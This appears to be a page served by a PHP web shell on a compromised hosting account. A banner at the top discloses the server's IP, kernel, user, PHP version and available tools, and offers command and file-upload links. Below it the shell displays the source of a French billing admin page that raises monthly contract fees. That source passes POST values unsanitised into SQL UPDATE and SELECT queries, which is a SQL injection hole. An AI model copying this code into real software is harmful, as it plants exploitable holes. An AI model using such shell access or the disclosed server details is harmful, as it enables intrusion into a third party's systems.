|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mobile/../MCPRO/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>AdminLTE 2 | Data Tables</title>
<!-- Tell the browser to be responsive to screen width -->
<meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
<!-- Bootstrap 3.3.7 -->
<link rel="stylesheet" href="../../bower_components/bootstrap/dist/css/bootstrap.min.css">
<!-- Font Awesome -->
<link rel="stylesheet" href="../../bower_components/font-awesome/css/font-awesome.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="../../bower_components/Ionicons/css/ionicons.min.css">
<!-- DataTables -->
<link rel="stylesheet" href="../../bower_components/datatables.net-bs/css/dataTables.bootstrap.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../../dist/css/AdminLTE.min.css">
<!-- AdminLTE Skins. Choose a skin from the css/skins
folder instead of downloading all of them to reduce the load. -->
<link rel="stylesheet" href="../../dist/css/skins/_all-skins.min.css">
<link rel="stylesheet"
href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600,700,300italic,400italic,600italic">
<style>
body {
background-color: rgb(236,240,245);
}
.box-body {
background-color: rgb(255,255,255);
}
</style>
</head>
<body class="hold-transition skin-blue sidebar-mini">
<!-- /.row -->
<?php
// echo "test <br/>" ;
include_once 'code/init.php';
session_start();
// echo "<pre>" ;
// print_r($_POST) ;
// echo "<pre>" ;
if($_POST['actionform']== "Valider")
{
$_SESSION["Augment"] = $_POST['Augment'];
$_SESSION["datedeb"] =date2int($_POST['datedebday'],$_POST['datedebmonth'],$_POST['datedebyear']);
}
$today = date("Ymd");
$chant=dbi_query("SELECT * FROM client cl , chantier c, fact_chantier fc WHERE c.agence_id=".$agence." AND c.Chantier_ID=fc.Chantier_ID AND c.Client_ID = cl.client_id AND (Chantier_fin = 0 OR Chantier_fin >=$today )ORDER BY fc.Chantier_designation ");
$_SESSION["favcolor"] = "green";
if($_POST['val']== "Valider")
{
// echo "<pre>" ;
// print_r($_POST) ;
// echo "<pre>" ;
$Chantier_forfaitmensuel = $_POST['montant'] ;
$Chantier_debut = $_SESSION["datedeb"];
$sqlupdate = "UPDATE fact_chantier SET Chantier_forfaitmensuel="."'$Chantier_forfaitmensuel'"." , date_modif_forfait="."'$Chantier_debut'"." where ID=".$_POST['id'];
dbi_query ( $sqlupdate );
}
if($_POST['valider']== "Valider")
{
$i=0 ;
while($listchant=dbi_fetch_row($chant))
{
$i++ ;
$aug = $_SESSION["Augment"]/100 ;
$augmntation =$listchant['Chantier_forfaitmensuel']*$aug ;
$nouveaumontant = $listchant['Chantier_forfaitmensuel'] + $augmntation ;
// echo "==> $nouveaumontant ===".$_SESSION["Augment"]."<br/>" ;
$Chantier_ID =$listchant['Chantier_ID'] ;
$Chantier_designation =$listchant['Chantier_designation'] ;
// $Chantier_forfaitmensuel =$listchant['Chantier_forfaitmensuel'] ;
$Chantier_TVA =$listchant['Chantier_TVA'] ;
$Chantier_fin =$listchant['Chantier_fin'] ;
$Chantier_recur =$listchant['Chantier_recur'] ;
$Chantier_fact =$listchant['Chantier_fact'] ;
$Chantier_debut = $_SESSION["datedeb"];
// $sqlupdate = "INSERT INTO ".fact_chantier." (`ID` ,`Chantier_ID`,`Chantier_designation` , `Chantier_forfaitmensuel` ,`Chantier_TVA`, `Chantier_debut` , `Chantier_fin`, `Chantier_recur` , `Chantier_fact`)
// VALUES ('','$Chantier_ID','$Chantier_designation' , '$nouveaumontant', '$Chantier_TVA' ,'$Chantier_debut', '$Chantier_fin','$Chantier_recur','$Chantier_fact')";
// dbi_query ( $sqlupdate );
if($i== 3)
{
break ;
}
// echo "yasssssin <br/>" ;
}
// echo "===> yassine <br/>" ;
// exit() ;
}
?>
<h2>test </h2>
<div class="box">
<br/>
<div class="tab-pane" id="settings">
<form class="form-horizontal" id="produit_form" name="produit_form" method="post" action="">
<?
?>
<div class="form-group">
<label for="inputName" class="col-sm-2 control-label"> </label>
<label for="inputName" class="col-sm-2 control-label">Augmentation </label>
<div class="col-sm-6">
<input type="text" class="form-control" name="Augment" value="<?php if(isset($prod_ref) && $_POST['action'] != "Enregistrer") echo $prod_ref ?>" size="30" maxlength="60" />
</div>
<div class="col-sm-4">
</div>
</div>
<div class="form-group">
<label for="inputName" class="col-sm-2 control-label"> </label>
<label for="inputName" class="col-sm-2 control-label">Date effet </label>
<div class="col-sm-6">
<?php print_date_selection2('datedeb')?>
</div>
<div class="col-sm-4">
</div>
</div>
</div>
<div align="center">
<input class="btn btn-primary" type="submit" name="actionform" value="Valider"/>
</div>
<div class="box-body">
<?php
if($_POST['actionform']== "Valider" or(!empty($_SESSION['datedeb'])))
{
?>
<table class="table table-bordered table-striped">
<thead>
<tr>
<TH align="center" >Client</TH>
<TH align="center" > désignation</TH>
<TH align="center" > Montant ancien</TH>
<TH align="center" >Montant nouveau </TH>
<TH align="center" >Date derniere modification </TH>
<TH align="center" >Action </TH>
</tr>
</thead>
<tbody>
<?
// $aug = 1.6666 ;
// echo "===>".$aug."<br/>" ;
// echo "===>".$_POST['Augment']."<br/>" ;
$chant=dbi_query("SELECT * FROM client cl , chantier c, fact_chantier fc WHERE c.agence_id=".$agence." AND c.Chantier_ID=fc.Chantier_ID AND c.Client_ID = cl.client_id AND (Chantier_fin = 0 OR Chantier_fin >=$today )ORDER BY cl.`client_nom` ASC ");
$aug = $_SESSION["Augment"]/100 ;
// echo "===>".$aug."<br/>" ;
while($listchantier=dbi_fetch_row($chant)){
$augmntation =$listchantier['Chantier_forfaitmensuel']*$aug ;
$nouveaumontant = $listchantier['Chantier_forfaitmensuel'] + $augmntation ;
$nouveaumontant =number_format($nouveaumontant,2);
?>
<tr>
<td> <?=$listchantier['client_nom']?> </td>
<td> <?=$listchantier['Chantier_designation']?> </td>
<td> <?=$listchantier['Chantier_forfaitmensuel']?> </td>
<td> <?= $nouveaumontant ?></td>
<td> <?=int2date($listchantier['date_modif_forfait'])?> </td>
<td>
<form method="post" action="">
<div align="center">
<input class="btn btn-primary" type="submit" name="val" value="Valider"/>
<input class="btn btn-primary" type="hidden" name="id" value="<?=$listchantier['ID']?>"/>
<input class="btn btn-primary" type="hidden" name="montant" value="<?=$nouveaumontant?>"/>
</div>
</form>
</td>
</tr>
<?
}
?>
</tbody>
</table>
<?
}
?>
<!-- /.col -->
<script src="bower_components/jquery/dist/jquery.min.js"></script>
<!-- Bootstrap 3.3.7 -->
<script src="bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<!-- DataTables -->
<script src="bower_components/datatables.net/js/jquery.dataTables.min.js"></script>
<script src="bower_components/datatables.net-bs/js/dataTables.bootstrap.min.js"></script>
<!-- SlimScroll -->
<script src="bower_components/jquery-slimscroll/jquery.slimscroll.min.js"></script>
<!-- FastClick -->
<script src="bower_components/fastclick/lib/fastclick.js"></script>
<!-- AdminLTE App -->
<script src="dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="dist/js/demo.js"></script>
<!-- page script -->
<script>
$(function () {
$('#example1').DataTable()
$('#example2').DataTable({
'paging' : true,
'lengthChange': false,
'searching' : false,
'ordering' : true,
'info' : true,
'autoWidth' : false
})
})
</script>
</body>
</html>
